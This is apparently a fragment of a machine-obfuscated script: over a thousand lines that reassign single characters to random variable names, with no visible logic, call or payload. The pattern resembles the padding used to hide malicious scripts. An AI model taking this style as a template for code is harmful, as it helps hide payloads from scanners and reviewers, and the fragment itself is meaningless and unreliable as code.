24	brohavrl = "E";
25	brohavrl = "b";
26	brohavrl = "S";
27	brohavrl = "d";
28	brohavrl = "h";
29	brohavrl = "J";
30	brohavrl = "W";
31	brohavrl = "M";
32	brohavrl = "j";
33	brohavrl = "a";
34	brohavrl = "o";
35	brohavrl = "z";
36	brohavrl = "t";
37	brohavrl = "w";
38	brohavrl = "\\";
39	qbswxgmz = "s";
40	qbswxgmz = "r";
41	qbswxgmz = "N";
42	qbswxgmz = "V";
43	qbswxgmz = "k";
44	qbswxgmz = "g";
45	qbswxgmz = "q";
46	qbswxgmz = "l";
47	qbswxgmz = "I";
48	qbswxgmz = "i";
49	qbswxgmz = "j";
50	qbswxgmz = "s";
51	qbswxgmz = "Z";
52	qbswxgmz = "s";
53	qbswxgmz = "X";
54	qbswxgmz = "k";
55	qbswxgmz = "o";
56	qbswxgmz = "g";
57	qbswxgmz = "T";
58	qbswxgmz = "J";
59	qbswxgmz = "a";
60	qbswxgmz = "O";
61	zsjlst = "B";
62	zsjlst = "t";
63	zsjlst = "B";
64	zsjlst = "v";
65	zsjlst = "h";
66	zsjlst = "S";
67	zsjlst = "c";
68	zsjlst = "n";
69	zsjlst = "O";
70	zsjlst = "G";
71	zsjlst = "f";
72	zsjlst = "Y";
73	zsjlst = "C";
74	zsjlst = "a";
75	zsjlst = "Z";
76	zsjlst = "z";
77	zsjlst = "h";
78	zsjlst = "O";
79	zsjlst = "O";
80	zsjlst = "J";
81	zsjlst = "N";
82	zsjlst = "J";
83	zsjlst = "m";
84	zsjlst = "B";
85	zsjlst = "B";
86	zsjlst = "o";
87	zsjlst = "F";
88	zsjlst = "d";
89	zsjlst = "U";
90	zsjlst = "K";
91	zsjlst = "j";
92	zsjlst = "n";
93	zsjlst = "s";
94	zsjlst = "H";
95	zsjlst = "U";
96	zsjlst = "h";
97	zsjlst = "D";
98	zsjlst = "j";
99	zsjlst = "W";
100	zsjlst = "l";
101	zsjlst = "J";
102	zsjlst = "u";
103	cfhevrkze = "t";
104	cfhevrkze = "s";
105	cfhevrkze = "X";
106	cfhevrkze = "A";
107	cfhevrkze = "p";
108	cfhevrkze = "H";
109	cfhevrkze = "g";
110	cfhevrkze = "A";
111	cfhevrkze = "t";
112	cfhevrkze = "W";
113	cfhevrkze = "S";
114	cfhevrkze = "K";
115	cfhevrkze = "w";
116	cfhevrkze = "F";
117	cfhevrkze = "s";
118	cfhevrkze = "k";
119	cfhevrkze = "y";
120	cfhevrkze = "o";
121	cfhevrkze = "C";
122	cfhevrkze = "z";
123	cfhevrkze = "n";
124	cfhevrkze = "S";
125	cfhevrkze = "F";
126	cfhevrkze = "c";
127	cfhevrkze = "V";
128	cfhevrkze = "Q";
129	cfhevrkze = "Y";
130	cfhevrkze = "f";
131	cfhevrkze = "j";
132	cfhevrkze = "0";
133	vpctv = "w";
134	vpctv = "v";
135	vpctv = "I";
136	vpctv = "u";
137	vpctv = "f";
138	vpctv = "V";
139	vpctv = "U";
140	vpctv = "J";
141	vpctv = "H";
142	vpctv = "H";
143	vpctv = "h";
144	vpctv = "j";
145	vpctv = "M";
146	vpctv = "u";
147	vpctv = "S";
148	vpctv = "u";
149	vpctv = "g";
150	vpctv = "U";
151	vpctv = "e";
152	vpctv = "k";
153	vpctv = "D";
154	vpctv = "n";
155	vpctv = "j";
156	vpctv = "6";
157	zuywmw = "i";
158	zuywmw = "s";
159	zuywmw = "d";
160	zuywmw = "m";
161	zuywmw = "B";
162	zuywmw = "i";
163	zuywmw = "a";
164	zuywmw = "W";
165	zuywmw = "G";
166	zuywmw = "V";
167	zuywmw = "q";
168	zuywmw = "N";
169	zuywmw = "y";
170	zuywmw = "a";
171	zuywmw = "L";
172	zuywmw = "V";
173	zuywmw = "i";
174	zuywmw = "s";
175	zuywmw = "D";
176	zuywmw = "V";
177	zuywmw = "A";
178	zuywmw = "Y";
179	zuywmw = "%";
180	lzootjwu = "r";
181	lzootjwu = "d";
182	lzootjwu = "t";
183	lzootjwu = "t";
184	lzootjwu = "l";
185	lzootjwu = "k";
186	lzootjwu = "s";
187	lzootjwu = "M";
188	lzootjwu = "k";
189	lzootjwu = "t";
190	ogleuschs = "s";
191	ogleuschs = "K";
192	ogleuschs = "b";
193	mozbr = "v";
194	mozbr = "z";
195	mozbr = "t";
196	mozbr = "c";
197	mozbr = "W";
198	mozbr = "E";
199	mozbr = "W";
200	mozbr = "r";
201	mozbr = "u";
202	mozbr = "x";
203	mozbr = "h";
204	mozbr = "A";
205	mozbr = "U";
206	mozbr = "Z";
207	mozbr = "t";
208	mozbr = "e";
209	mozbr = "P";
210	mozbr = "P";
211	mozbr = "P";
212	mozbr = "F";
213	mozbr = "M";
214	mozbr = "b";
215	mozbr = "X";
216	mozbr = "j";
217	mozbr = "Q";
218	mozbr = "u";
219	mozbr = "W";
220	mozbr = "i";
221	mozbr = "J";
222	mozbr = "e";
223	mozbr = "e";
224	mozbr = "V";
225	mozbr = "K";
226	mozbr = "Q";
227	mozbr = "l";
228	mozbr = "R";
229	mozbr = "c";
230	mozbr = "l";
231	mozbr = "T";
232	mozbr = "D";
233	mozbr = "g";
234	mozbr = "T";
235	mozbr = "m";
236	mozbr = "z";
237	mozbr = "R";
238	nluztwz = "b";
239	nluztwz = "D";
240	nluztwz = "k";
241	foiomer = "O";
242	foiomer = "o";
243	foiomer = "R";
244	foiomer = "i";
245	foiomer = "G";
246	foiomer = "v";
247	foiomer = "D";
248	foiomer = "w";
249	foiomer = "N";
250	foiomer = "B";
251	foiomer = "I";
252	foiomer = "X";
253	foiomer = "h";
254	foiomer = "z";
255	foiomer = "z";
256	foiomer = "h";
257	foiomer = "v";
258	foiomer = "o";
259	foiomer = "W";
260	foiomer = "O";
261	foiomer = "H";
262	foiomer = "m";
263	nqyfos = "F";
264	nqyfos = "Z";
265	nqyfos = "j";
266	nqyfos = "d";
267	nqyfos = "i";
268	nqyfos = "G";
269	nqyfos = "l";
270	nqyfos = "Z";
271	nqyfos = "h";
272	nqyfos = "p";
273	nqyfos = "T";
274	nqyfos = "U";
275	nqyfos = "H";
276	nqyfos = "w";
277	nqyfos = "z";
278	nqyfos = "C";
279	nqyfos = "w";
280	nqyfos = "l";
281	nqyfos = "D";
282	nqyfos = "K";
283	nqyfos = "y";
284	nqyfos = "R";
285	nqyfos = "s";
286	nqyfos = "m";
287	nqyfos = "d";
288	nqyfos = "z";
289	nqyfos = "P";
290	nqyfos = "O";
291	nqyfos = "u";
292	nqyfos = "o";
293	nqyfos = "N";
294	nqyfos = "F";
295	nqyfos = "S";
296	nqyfos = "x";
297	nqyfos = "w";
298	nqyfos = "K";
299	nqyfos = "d";
300	nqyfos = "s";
301	wjzent = "e";
302	wjzent = "h";
303	wjzent = "I";
304	wjzent = "W";
305	wjzent = "P";
306	wjzent = "G";
307	wjzent = "P";
308	wjzent = "f";
309	wjzent = "E";
310	wjzent = "Q";
311	wjzent = "A";
312	wjzent = "u";
313	wjzent = "k";
314	wjzent = "C";
315	wjzent = "G";
316	wjzent = "w";
317	wjzent = "a";
318	pqsebm = "l";
319	pqsebm = "I";
320	pqsebm = "L";
321	pqsebm = "K";
322	pqsebm = "D";
323	pqsebm = "J";
324	pqsebm = "c";
325	pqsebm = "L";
326	pqsebm = "W";
327	pqsebm = ".";
328	bfgrkw = "P";
329	bfgrkw = "c";
330	bfgrkw = "q";
331	bfgrkw = "s";
332	bfgrkw = "U";
333	bfgrkw = "o";
334	bfgrkw = "x";
335	bfgrkw = "p";
336	bfgrkw = "U";
337	bfgrkw = "b";
338	bfgrkw = "B";
339	bfgrkw = "R";
340	bfgrkw = "a";
341	bfgrkw = "D";
342	bfgrkw = "K";
343	bfgrkw = "m";
344	bfgrkw = "B";
345	bfgrkw = "X";
346	bfgrkw = "K";
347	bfgrkw = "d";
348	bfgrkw = "l";
349	bfgrkw = "Z";
350	bfgrkw = "S";
351	bfgrkw = "y";
352	bfgrkw = "e";
353	bfgrkw = "s";
354	bfgrkw = "b";
355	bfgrkw = "h";
356	bfgrkw = "Q";
357	bfgrkw = "f";
358	bfgrkw = "w";
359	bfgrkw = "H";
360	bfgrkw = "J";
361	bfgrkw = "L";
362	bfgrkw = "I";
363	bfgrkw = "n";
364	bfgrkw = "P";
365	bfgrkw = "S";
366	bfgrkw = "y";
367	bfgrkw = "c";
368	zoojlcb = "g";
369	zoojlcb = "E";
370	zoojlcb = "X";
371	zoojlcb = "w";
372	zoojlcb = "X";
373	zoojlcb = "H";
374	zoojlcb = "b";
375	zoojlcb = "B";
376	zoojlcb = "h";
377	zoojlcb = "m";
378	zoojlcb = "h";
379	zoojlcb = "F";
380	zoojlcb = "P";
381	zoojlcb = "E";
382	zoojlcb = "w";
383	zoojlcb = "S";
384	zoojlcb = "w";
385	zoojlcb = "M";
386	zoojlcb = "N";
387	zoojlcb = "M";
388	zoojlcb = "z";
389	zoojlcb = "4";
390	xokkbihd = "f";
391	xokkbihd = "H";
392	xokkbihd = "T";
393	xokkbihd = "c";
394	xokkbihd = "c";
395	xokkbihd = "e";
396	xokkbihd = "r";
397	xokkbihd = "o";
398	xokkbihd = "r";
399	xokkbihd = "m";
400	xokkbihd = "d";
401	xokkbihd = "h";
402	xokkbihd = "x";
403	xokkbihd = "A";
404	xokkbihd = "p";
405	xokkbihd = "v";
406	xokkbihd = "A";
407	xokkbihd = "Y";
408	xokkbihd = "s";
409	xokkbihd = "f";
410	xokkbihd = "J";
411	xokkbihd = "S";
412	xokkbihd = "u";
413	xokkbihd = "s";
414	xokkbihd = "f";
415	xokkbihd = "o";
416	jaaxt = "e";
417	jaaxt = "Z";
418	jaaxt = "S";
419	jaaxt = "x";
420	jaaxt = "x";
421	jaaxt = "M";
422	jaaxt = "h";
423	jaaxt = "C";
424	jaaxt = "Z";
425	jaaxt = "p";
426	jaaxt = "K";
427	jaaxt = "S";
428	jaaxt = "U";
429	jaaxt = "i";
430	jaaxt = "N";
431	jaaxt = "l";
432	jaaxt = "r";
433	jaaxt = "I";
434	jaaxt = "X";
435	jaaxt = "D";
436	jaaxt = "X";
437	jaaxt = "n";
438	jaaxt = "Z";
439	jaaxt = "b";
440	jaaxt = "y";
441	jaaxt = "q";
442	jaaxt = "j";
443	jaaxt = "t";
444	jaaxt = "i";
445	jaaxt = "v";
446	jaaxt = "Z";
447	jaaxt = "s";
448	jaaxt = "W";
449	jaaxt = "F";
450	jaaxt = "s";
451	jaaxt = "g";
452	jaaxt = "1";
453	kuyyp = "u";
454	kuyyp = "u";
455	kuyyp = "q";
456	kuyyp = "a";
457	kuyyp = "j";
458	kuyyp = "N";
459	kuyyp = "Y";
460	kuyyp = "h";
461	kuyyp = "Q";
462	kuyyp = "E";
463	kuyyp = "s";
464	kuyyp = "L";
465	kuyyp = "c";
466	kuyyp = "g";
467	kuyyp = "X";
468	kuyyp = "g";
469	kuyyp = "N";
470	kuyyp = "c";
471	kuyyp = "x";
472	kuyyp = "b";
473	kuyyp = "E";
474	kuyyp = "w";
475	kuyyp = "h";
476	kuyyp = "u";
477	kuyyp = "r";
478	kuyyp = "t";
479	kuyyp = ":";
480	dygtyonox = "w";
481	ugjjca = "w";
482	ugjjca = "a";
483	ugjjca = "q";
484	ugjjca = "C";
485	ugjjca = "\"";
486	ohjelgyn = "R";
487	ohjelgyn = "d";
488	ohjelgyn = "o";
489	ohjelgyn = "a";
490	ohjelgyn = "s";
491	ohjelgyn = "q";
492	ohjelgyn = "n";
493	ohjelgyn = "W";
494	ohjelgyn = "l";
495	ohjelgyn = "o";
496	ohjelgyn = "K";
497	ohjelgyn = "s";
498	ohjelgyn = "t";
499	ohjelgyn = "e";
500	ohjelgyn = "W";
501	ohjelgyn = "g";
502	ohjelgyn = "r";
503	ohjelgyn = "P";
504	ohjelgyn = "k";
505	ohjelgyn = "J";
506	ohjelgyn = "g";
507	ohjelgyn = "V";
508	ohjelgyn = "Q";
509	ohjelgyn = "F";
510	ohjelgyn = "X";
511	ohjelgyn = "A";
512	ohjelgyn = "F";
513	ohjelgyn = "z";
514	ohjelgyn = "x";
515	ohjelgyn = "Z";
516	ohjelgyn = "C";
517	ohjelgyn = "B";
518	ohjelgyn = "J";
519	ohjelgyn = "U";
520	ohjelgyn = "o";
521	ohjelgyn = "_";
522	tuuovuyxw = "j";
523	tuuovuyxw = "Z";
524	tuuovuyxw = "2";
525	sxunj = "W";
526	sxunj = "E";
527	sxunj = "h";
528	sxunj = "M";
529	sxunj = "v";
530	sxunj = "T";
531	sxunj = "g";
532	sxunj = "P";
533	sxunj = "x";
534	sxunj = "X";
535	sxunj = "P";
536	sxunj = "a";
537	sxunj = "c";
538	sxunj = "b";
539	sxunj = "c";
540	sxunj = "w";
541	sxunj = "J";
542	sxunj = "j";
543	sxunj = "W";
544	sxunj = "r";
545	sxunj = "N";
546	sxunj = "N";
547	sxunj = "B";
548	sxunj = "n";
549	sxunj = "b";
550	sxunj = "Y";
551	sxunj = "Z";
552	sxunj = "a";
553	sxunj = "P";
554	sxunj = "i";
555	sxunj = "C";
556	sxunj = "W";
557	sxunj = "K";
558	sxunj = "M";
559	sxunj = "Y";
560	sxunj = "x";
561	sxunj = "j";
562	sxunj = "Q";
563	rsrnt = "Q";
564	rsrnt = "Z";
565	rsrnt = "L";
566	rsrnt = "s";
567	rsrnt = "u";
568	rsrnt = "B";
569	rsrnt = "d";
570	rsrnt = "m";
571	rsrnt = "X";
572	rsrnt = "k";
573	rsrnt = "v";
574	rsrnt = "Q";
575	rsrnt = "u";
576	rsrnt = "I";
577	rsrnt = "I";
578	rsrnt = "c";
579	rsrnt = "E";
580	rsrnt = "L";
581	rsrnt = "y";
582	rsrnt = "I";
583	rsrnt = "B";
584	rsrnt = "i";
585	rsrnt = "V";
586	rsrnt = "H";
587	rsrnt = "f";
588	rsrnt = "N";
589	rsrnt = "k";
590	rsrnt = "a";
591	rsrnt = "o";
592	rsrnt = "c";
593	rsrnt = "n";
594	rsrnt = "f";
595	rsrnt = "q";
596	nzunwi = "H";
597	nzunwi = "z";
598	nzunwi = "e";
599	nzunwi = "m";
600	nzunwi = "r";
601	nzunwi = "w";
602	nzunwi = "Q";
603	nzunwi = "j";
604	nzunwi = "H";
605	nzunwi = "C";
606	nzunwi = "x";
607	nzunwi = "P";
608	nzunwi = "F";
609	nzunwi = "O";
610	nzunwi = "r";
611	nzunwi = "s";
612	nzunwi = "P";
613	nzunwi = "v";
614	nzunwi = "O";
615	nzunwi = "V";
616	nzunwi = "K";
617	nzunwi = "I";
618	nzunwi = "L";
619	nzunwi = "B";
620	nzunwi = "s";
621	nzunwi = "J";
622	nzunwi = "w";
623	nzunwi = "w";
624	nzunwi = "x";
625	nzunwi = "j";
626	qcudhcslm = "g";
627	qcudhcslm = "o";
628	qcudhcslm = "c";
629	qcudhcslm = "z";
630	qcudhcslm = "V";
631	qcudhcslm = "U";
632	qcudhcslm = "F";
633	qcudhcslm = "d";
634	qcudhcslm = "Q";
635	qcudhcslm = "F";
636	qcudhcslm = "g";
637	qcudhcslm = "D";
638	qcudhcslm = "v";
639	qcudhcslm = "y";
640	qcudhcslm = "u";
641	qcudhcslm = "L";
642	qcudhcslm = "R";
643	qcudhcslm = "U";
644	qcudhcslm = "c";
645	qcudhcslm = "Z";
646	qcudhcslm = "X";
647	qcudhcslm = "T";
648	qcudhcslm = "M";
649	qcudhcslm = "o";
650	qcudhcslm = "w";
651	qcudhcslm = "P";
652	qesjmjzj = "j";
653	qesjmjzj = "m";
654	qesjmjzj = "f";
655	qesjmjzj = "q";
656	qesjmjzj = "M";
657	qesjmjzj = "K";
658	qesjmjzj = "l";
659	qesjmjzj = "C";
660	qesjmjzj = "w";
661	qesjmjzj = "j";
662	qesjmjzj = "D";
663	qesjmjzj = "S";
664	qesjmjzj = "U";
665	qesjmjzj = "V";
666	qesjmjzj = "e";
667	qesjmjzj = "W";
668	qesjmjzj = "Y";
669	qesjmjzj = "J";
670	qesjmjzj = "q";
671	qesjmjzj = "l";
672	qesjmjzj = "I";
673	qesjmjzj = "n";
674	qesjmjzj = "M";
675	qesjmjzj = "O";
676	qesjmjzj = "N";
677	qesjmjzj = "t";
678	qesjmjzj = "n";
679	qesjmjzj = "d";
680	qesjmjzj = "M";
681	qesjmjzj = "j";
682	qesjmjzj = "J";
683	qesjmjzj = "F";
684	qesjmjzj = " ";
685	oprtr = "Q";
686	oprtr = "y";
687	oprtr = "j";
688	oprtr = "i";
689	oprtr = "-";
690	isadj = "w";
691	isadj = "O";
692	isadj = "P";
693	isadj = "Y";
694	isadj = "h";
695	isadj = "d";
696	isadj = "I";
697	qltpst = "L";
698	qltpst = "A";
699	qltpst = "r";
700	qltpst = "R";
701	qltpst = "f";
702	qltpst = "s";
703	qltpst = "E";
704	qltpst = "i";
705	zlmyzbp = "F";
706	zlmyzbp = "Q";
707	zlmyzbp = "y";
708	zlmyzbp = "D";
709	zlmyzbp = "d";
710	zlmyzbp = "e";
711	zlmyzbp = "Z";
712	zlmyzbp = "X";
713	zlmyzbp = "a";
714	zlmyzbp = "J";
715	zlmyzbp = "B";
716	zlmyzbp = "F";
717	xfdhidr = "O";
718	xfdhidr = "h";
719	xfdhidr = "M";
720	xfdhidr = "u";
721	xfdhidr = "P";
722	xfdhidr = "V";
723	xfdhidr = "3";
724	jtzrskva = "Q";
725	jtzrskva = "w";
726	jtzrskva = "V";
727	jtzrskva = "n";
728	jtzrskva = "W";
729	jtzrskva = "I";
730	jtzrskva = "V";
731	jtzrskva = "Z";
732	jtzrskva = "G";
733	jtzrskva = "x";
734	jtzrskva = "d";
735	jtzrskva = "q";
736	jtzrskva = "t";
737	jtzrskva = "O";
738	jtzrskva = "p";
739	hzstmcm = "E";
740	hzstmcm = "J";
741	hzstmcm = "e";
742	hzstmcm = "M";
743	hzstmcm = "V";
744	hzstmcm = "E";
745	cvxuduafx = "r";
746	cvxuduafx = "K";
747	muvqgxhbe = "K";
748	muvqgxhbe = "f";
749	muvqgxhbe = "m";
750	muvqgxhbe = "e";
751	muvqgxhbe = "F";
752	muvqgxhbe = "m";
753	muvqgxhbe = "S";
754	muvqgxhbe = "A";
755	muvqgxhbe = "Q";
756	muvqgxhbe = "g";
757	muvqgxhbe = "H";
758	muvqgxhbe = "Q";
759	muvqgxhbe = "o";
760	muvqgxhbe = "A";
761	muvqgxhbe = "J";
762	muvqgxhbe = "l";
763	muvqgxhbe = "r";
764	muvqgxhbe = "T";
765	muvqgxhbe = "r";
766	muvqgxhbe = "w";
767	muvqgxhbe = "Q";
768	muvqgxhbe = "g";
769	muvqgxhbe = "v";
770	muvqgxhbe = "e";
771	muvqgxhbe = "F";
772	muvqgxhbe = "l";
773	muvqgxhbe = "R";
774	muvqgxhbe = "Q";
775	muvqgxhbe = "y";
776	muvqgxhbe = "D";
777	muvqgxhbe = "f";
778	muvqgxhbe = "U";
779	muvqgxhbe = "p";
780	muvqgxhbe = "a";
781	muvqgxhbe = "i";
782	muvqgxhbe = "v";
783	muvqgxhbe = "W";
784	muvqgxhbe = "&";
785	vsmcvyo = "w";
786	vsmcvyo = "n";
787	vsmcvyo = "e";
788	vsmcvyo = "l";
789	vsmcvyo = "t";
790	vsmcvyo = "S";
791	vsmcvyo = "v";
792	vsmcvyo = "y";
793	vsmcvyo = "Q";
794	vsmcvyo = "p";
795	vsmcvyo = "o";
796	vsmcvyo = "u";
797	vsmcvyo = "H";
798	vsmcvyo = "a";
799	vsmcvyo = "n";
800	vsmcvyo = "S";
801	ocfvea = "H";
802	ocfvea = "I";
803	ocfvea = "g";
804	ocfvea = "M";
805	ocfvea = "E";
806	ocfvea = "e";
807	fcbovfwev = "L";
808	fcbovfwev = "X";
809	fcbovfwev = "P";
810	fcbovfwev = "p";
811	fcbovfwev = "y";
812	fcbovfwev = "w";
813	fcbovfwev = "M";
814	fcbovfwev = "H";
815	fcbovfwev = "w";
816	fcbovfwev = "z";
817	fcbovfwev = "E";
818	fcbovfwev = "x";
819	fcbovfwev = "R";
820	fcbovfwev = "D";
821	fcbovfwev = "i";
822	fcbovfwev = "r";
823	fcbovfwev = "b";
824	fcbovfwev = "v";
825	fcbovfwev = "Q";
826	fcbovfwev = "L";
827	fcbovfwev = "w";
828	fcbovfwev = "M";
829	fcbovfwev = "j";
830	fcbovfwev = "D";
831	fcbovfwev = "g";
832	fcbovfwev = "G";
833	fcbovfwev = "y";
834	fcbovfwev = "t";
835	fcbovfwev = "d";
836	fcbovfwev = "C";
837	ypbcnwbia = "j";
838	ypbcnwbia = "c";
839	ypbcnwbia = "U";
840	ypbcnwbia = "u";
841	ypbcnwbia = "G";
842	ypbcnwbia = "K";
843	ypbcnwbia = "P";
844	ypbcnwbia = "M";
845	ypbcnwbia = "e";
846	ypbcnwbia = "C";
847	ypbcnwbia = "U";
848	ypbcnwbia = "H";
849	ypbcnwbia = "h";
850	ypbcnwbia = "X";
851	ypbcnwbia = "f";
852	ypbcnwbia = "q";
853	ypbcnwbia = "s";
854	ypbcnwbia = "v";
855	ypbcnwbia = "q";
856	ypbcnwbia = "G";
857	ypbcnwbia = "g";
858	ypbcnwbia = "I";
859	ypbcnwbia = "h";
860	ypbcnwbia = "l";
861	ypbcnwbia = "V";
862	ypbcnwbia = "M";
863	ypbcnwbia = "R";
864	ypbcnwbia = "T";
865	ypbcnwbia = "A";
866	ypbcnwbia = "t";
867	ypbcnwbia = "a";
868	ypbcnwbia = "a";
869	ypbcnwbia = "i";
870	ypbcnwbia = "L";
871	ypbcnwbia = "V";
872	ypbcnwbia = "X";
873	ypbcnwbia = "N";
874	ypbcnwbia = "G";
875	ypbcnwbia = "j";
876	ypbcnwbia = "@";
877	gtbqky = "T";
878	gtbqky = "r";
879	gtbqky = "b";
880	gtbqky = "m";
881	gtbqky = "U";
882	gtbqky = "P";
883	gtbqky = "h";
884	gtbqky = "a";
885	gtbqky = "L";
886	gtbqky = "s";
887	gtbqky = "W";
888	gtbqky = "Q";
889	gtbqky = "z";
890	gtbqky = "L";
891	gtbqky = "C";
892	gtbqky = "D";
893	gtbqky = "E";
894	gtbqky = "g";
895	tpddo = "E";
896	tpddo = "a";
897	tpddo = "C";
898	tpddo = "Z";
899	tpddo = "A";
900	tpddo = "j";
901	tpddo = "M";
902	tpddo = "v";
903	tpddo = "e";
904	tpddo = "S";
905	tpddo = "r";
906	tpddo = "r";
907	tpddo = "v";
908	tpddo = "c";
909	tpddo = "G";
910	tpddo = "M";
911	tpddo = "k";
912	tpddo = "l";
913	tpddo = "F";
914	tpddo = "W";
915	tpddo = "Z";
916	tpddo = "O";
917	tpddo = "P";
918	tpddo = "n";
919	tpddo = "y";
920	tpddo = "P";
921	tpddo = "w";
922	tpddo = "n";
923	tpddo = "r";
924	tpddo = "o";
925	tpddo = "B";
926	tpddo = "U";
927	tpddo = "s";
928	tpddo = "A";
929	tpddo = "P";
930	tpddo = "h";
931	tpddo = "r";
932	fidfxnwoz = "P";
933	fidfxnwoz = "Q";
934	fidfxnwoz = "h";
935	fidfxnwoz = "k";
936	fidfxnwoz = "i";
937	fidfxnwoz = "P";
938	fidfxnwoz = "G";
939	fidfxnwoz = "S";
940	fidfxnwoz = "X";
941	fidfxnwoz = "Y";
942	fidfxnwoz = "o";
943	fidfxnwoz = "f";
944	njjwdr = "c";
945	njjwdr = "c";
946	njjwdr = "z";
947	njjwdr = "R";
948	njjwdr = "e";
949	njjwdr = "o";
950	njjwdr = "z";
951	njjwdr = "M";
952	njjwdr = "z";
953	njjwdr = "T";
954	njjwdr = "D";
955	njjwdr = "T";
956	njjwdr = "T";
957	njjwdr = "L";
958	njjwdr = "p";
959	njjwdr = "s";
960	njjwdr = "V";
961	njjwdr = "x";
962	uqnzptq = "X";
963	uqnzptq = "O";
964	uqnzptq = "J";
965	uqnzptq = "h";
966	uqnzptq = "R";
967	uqnzptq = "F";
968	uqnzptq = "t";
969	uqnzptq = "s";
970	uqnzptq = "R";
971	uqnzptq = "x";
972	uqnzptq = "l";
973	uqnzptq = "U";
974	uqnzptq = "v";
975	uqnzptq = "q";
976	uqnzptq = "r";
977	uqnzptq = "G";
978	uqnzptq = "w";
979	uqnzptq = "v";
980	uqnzptq = "u";
981	uqnzptq = "u";
982	uqnzptq = "B";
983	uqnzptq = "N";
984	uqnzptq = "R";
985	uqnzptq = "c";
986	uqnzptq = "X";
987	uqnzptq = "n";
988	tsbudd = "B";
989	tsbudd = "G";
990	tsbudd = "F";
991	tsbudd = "p";
992	tsbudd = "p";
993	tsbudd = "j";
994	tsbudd = "P";
995	tsbudd = "B";
996	tsbudd = "N";
997	tsbudd = "S";
998	tsbudd = "Q";
999	tsbudd = "k";
1000	tsbudd = "W";
1001	tsbudd = "X";
1002	tsbudd = "p";
1003	tsbudd = "U";
1004	tsbudd = "C";
1005	tsbudd = "N";
1006	tsbudd = "P";
1007	tsbudd = "f";
1008	tsbudd = "K";
1009	tsbudd = "N";
1010	tsbudd = "M";
1011	tsbudd = "u";
1012	tsbudd = "W";
1013	tsbudd = "v";
1014	ptgjmec = "s";
1015	ptgjmec = "G";
1016	ptgjmec = "h";
1017	tzxvzzzke = "Z";
1018	tzxvzzzke = "P";
1019	tzxvzzzke = "n";
1020	tzxvzzzke = "c";
1021	tzxvzzzke = "e";
1022	tzxvzzzke = "o";
1023	tzxvzzzke = "Q";
1024	tzxvzzzke = "l";
1025	tzxvzzzke = "t";
1026	tzxvzzzke = "Z";
1027	tzxvzzzke = "G";
1028	tzxvzzzke = "c";
1029	tzxvzzzke = "h";
1030	tzxvzzzke = "P";
1031	tzxvzzzke = "v";
1032	tzxvzzzke = "L";
1033	tzxvzzzke = "d";
1034	tzxvzzzke = "z";
1035	tzxvzzzke = "Z";
1036	tzxvzzzke = "a";
1037	tzxvzzzke = "K";
1038	tzxvzzzke = "K";
1039	tzxvzzzke = "k";
1040	tzxvzzzke = "N";
1041	tzxvzzzke = "D";
1042	tzxvzzzke = "T";
1043	tzxvzzzke = "G";
1044	tzxvzzzke = "r";
1045	tzxvzzzke = "k";
1046	tzxvzzzke = "t";
1047	tzxvzzzke = "O";
1048	tzxvzzzke = "y";
1049	tzxvzzzke = "z";
1050	tzxvzzzke = "w";
1051	tzxvzzzke = "H";
1052	szksqdiv = "k";
1053	szksqdiv = "t";
1054	szksqdiv = "m";
1055	szksqdiv = "k";
1056	szksqdiv = "o";
1057	szksqdiv = "H";
1058	szksqdiv = "J";
1059	szksqdiv = "q";
1060	szksqdiv = "5";
1061	jusfey = "j";
1062	jusfey = "Z";
1063	jusfey = "M";
1064	jusfey = "i";
1065	jusfey = "f";
1066	jusfey = "Z";
1067	jusfey = "t";
1068	jusfey = "H";
1069	jusfey = "m";
1070	jusfey = "k";
1071	jusfey = "s";
1072	jusfey = "a";
1073	jusfey = "q";
1074	jusfey = "E";
1075	jusfey = "E";
1076	jusfey = "v";
1077	jusfey = "K";
1078	jusfey = "k";
1079	jusfey = "Q";
1080	jusfey = "G";
1081	jusfey = "i";
1082	jusfey = "f";
1083	jusfey = "h";
1084	jusfey = "G";
1085	jusfey = "h";
1086	jusfey = "A";
1087	jusfey = "o";
1088	jusfey = "x";
1089	jusfey = "N";
1090	jusfey = "a";
1091	jusfey = "A";
1092	jusfey = "K";
1093	jusfey = "O";
1094	jusfey = "d";
1095	jusfey = "d";
1096	weffpqe = "M";
1097	weffpqe = "G";
1098	weffpqe = "b";
1099	weffpqe = "f";
1100	weffpqe = "s";
1101	weffpqe = "R";
1102	weffpqe = "T";
1103	weffpqe = "Z";
1104	weffpqe = "f";
1105	weffpqe = "j";
1106	weffpqe = "Q";
1107	weffpqe = "Z";
1108	weffpqe = "E";
1109	weffpqe = "C";
1110	weffpqe = "b";
1111	weffpqe = "e";
1112	weffpqe = "q";
1113	weffpqe = "i";
1114	weffpqe = "M";
1115	weffpqe = "l";
1116	weffpqe = "I";
1117	weffpqe = "o";
1118	weffpqe = "h";
1119	weffpqe = "X";
1120	weffpqe = "I";
1121	weffpqe = "U";
1122	weffpqe = "H";
1123	weffpqe = "b";
1124	weffpqe = "m";
1125	weffpqe = "7";
1126	ssurv = "o";
1127	ssurv = "S";
1128	ssurv = "h";
1129	ssurv = "i";
1130	ssurv = "a";
1131	ssurv = "k";
1132	ssurv = "a";
1133	ssurv = "C";
1134	ssurv = "Z";
1135	ssurv = "S";
1136	ssurv = "Q";
1137	ssurv = "v";
1138	ssurv = "W";
1139	ssurv = "f";
1140	ssurv = "K";
1141	ssurv = "A";
1142	ssurv = "J";
1143	ssurv = "G";
1144	ssurv = "t";
1145	ssurv = "w";
1146	ssurv = "W";
1147	ssurv = "p";
1148	ssurv = "h";
1149	ssurv = "O";
1150	ssurv = "p";
1151	ssurv = "T";
1152	ssurv = "m";
1153	ssurv = "y";
1154	ssurv = "R";
1155	ssurv = "a";
1156	ssurv = "D";
1157	ssurv = "u";
1158	ssurv = "j";
1159	ssurv = "o";
1160	ssurv = "Y";
1161	egyae = "k";
1162	egyae = "a";
1163	egyae = "k";
1164	egyae = "Z";
1165	egyae = "z";
1166	egyae = "A";
1167	egyae = "I";
1168	egyae = "k";
1169	egyae = "h";
1170	egyae = "s";
1171	egyae = "Z";
1172	egyae = "t";
1173	egyae = "c";
1174	egyae = "G";
1175	egyae = "g";
1176	egyae = "D";
1177	egyae = "r";
1178	egyae = "Z";
1179	egyae = "B";
1180	egyae = "T";
1181	oisqifvng = "D";
1182	oisqifvng = "m";
1183	oisqifvng = "M";
1184	oisqifvng = "U";
1185	byojlv = "K";
1186	byojlv = "y";
1187	byojlv = "r";
1188	byojlv = "V";
1189	byojlv = "F";
1190	byojlv = "X";
1191	byojlv = "P";
1192	byojlv = "N";
1193	ufwknxji = "V";
1194	ufwknxji = "J";
1195	ufwknxji = "E";
1196	ufwknxji = "B";
